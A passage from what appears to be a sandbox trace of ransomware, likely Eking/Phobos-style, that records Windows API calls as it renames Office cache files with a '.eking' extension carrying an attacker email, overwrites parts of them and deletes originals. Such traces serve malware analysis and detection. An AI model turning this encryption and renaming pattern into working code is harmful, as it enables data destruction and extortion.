dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0244.047] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=27532288) returned 1 [0244.047] CloseHandle (hObject=0x17c) returned 1 [0244.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0244.048] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0244.049] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0244.049] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0244.050] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0244.050] ReadFile (in: hFile=0x17c, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0244.055] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0244.055] ReadFile (in: hFile=0x17c, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0244.065] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0244.065] ReadFile (in: hFile=0x17c, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0244.082] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0244.082] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0244.115] SetEndOfFile (hFile=0x17c) returned 1 [0244.116] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0244.116] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0244.119] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0244.119] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0244.123] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0244.123] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0244.124] FlushFileBuffers (hFile=0x17c) returned 1 [0245.271] CloseHandle (hObject=0x17c) returned 1 [0245.272] SetEvent (hEvent=0xe0) returned 1 [0245.272] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0245.671] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=177720283) returned 1 [0245.671] CloseHandle (hObject=0x1a8) returned 1 [0245.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0245.671] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0245.672] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0245.672] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0245.672] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0245.672] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0246.460] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0246.460] ReadFile (in: hFile=0x1a8, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0246.729] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0246.729] ReadFile (in: hFile=0x1a8, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0246.971] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0246.971] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0102, lpOverlapped=0x0) returned 1 [0246.995] SetEndOfFile (hFile=0x1a8) returned 1 [0246.995] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0246.995] WriteFile (in: hFile=0x1a8, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0246.998] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0246.998] WriteFile (in: hFile=0x1a8, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0246.999] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0246.999] WriteFile (in: hFile=0x1a8, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0247.000] FlushFileBuffers (hFile=0x1a8) returned 1 [0249.223] CloseHandle (hObject=0x1a8) returned 1 [0249.319] SetEvent (hEvent=0xe0) returned 1 [0249.319] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0249.319] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1377656) returned 1 [0249.319] CloseHandle (hObject=0x1a8) returned 1 [0249.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0249.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0249.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0249.320] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0249.320] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0249.320] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0249.320] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0249.321] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x110100, lpOverlapped=0x0) returned 1 [0249.420] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x110100, lpOverlapped=0x0) returned 1 [0249.514] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x40478, lpOverlapped=0x0) returned 1 [0249.517] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x40480, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x40480, lpOverlapped=0x0) returned 1 [0249.522] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0249.522] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0249.522] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0249.522] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x110102, lpOverlapped=0x0) returned 1 [0249.528] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x40476, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x40476, lpOverlapped=0x0) returned 1 [0249.529] FlushFileBuffers (hFile=0x1a8) returned 1 [0250.026] FlushFileBuffers (hFile=0x1c0) returned 1 [0250.204] CloseHandle (hObject=0x1a8) returned 1 [0250.204] CloseHandle (hObject=0x1c0) returned 1 [0250.204] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0250.218] SetEvent (hEvent=0xe0) returned 1 [0250.218] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0250.218] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1463568) returned 1 [0250.218] CloseHandle (hObject=0x1c0) returned 1 [0250.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0250.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0250.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0250.219] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0250.219] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0250.219] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0250.219] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0250.219] ReadFile (in: hFile=0x1c0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x110100, lpOverlapped=0x0) returned 1 [0250.336] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x110100, lpOverlapped=0x0) returned 1 [0250.414] ReadFile (in: hFile=0x1c0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x55410, lpOverlapped=0x0) returned 1 [0250.417] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x55420, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x55420, lpOverlapped=0x0) returned 1 [0250.424] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0250.424] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0250.424] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0250.424] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x110102, lpOverlapped=0x0) returned 1 [0250.430] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5540e, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x5540e, lpOverlapped=0x0) returned 1 [0250.431] FlushFileBuffers (hFile=0x1c0) returned 1 [0251.580] FlushFileBuffers (hFile=0x1a8) returned 1 [0251.756] CloseHandle (hObject=0x1c0) returned 1 [0251.757] CloseHandle (hObject=0x1a8) returned 1 [0251.757] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0251.773] SetEvent (hEvent=0xe0) returned 1 [0251.788] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0251.840] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=10798080) returned 1 [0251.840] CloseHandle (hObject=0x1a8) returned 1 [0251.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0251.841] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0251.842] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0251.842] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0251.842] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0251.842] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0251.886] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0251.886] ReadFile (in: hFile=0x1a8, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0251.894] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0251.894] ReadFile (in: hFile=0x1a8, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0251.988] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0251.988] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0252.009] SetEndOfFile (hFile=0x1a8) returned 1 [0252.009] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0252.009] WriteFile (in: hFile=0x1a8, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0252.510] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0252.510] WriteFile (in: hFile=0x1a8, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0252.513] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0252.513] WriteFile (in: hFile=0x1a8, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, 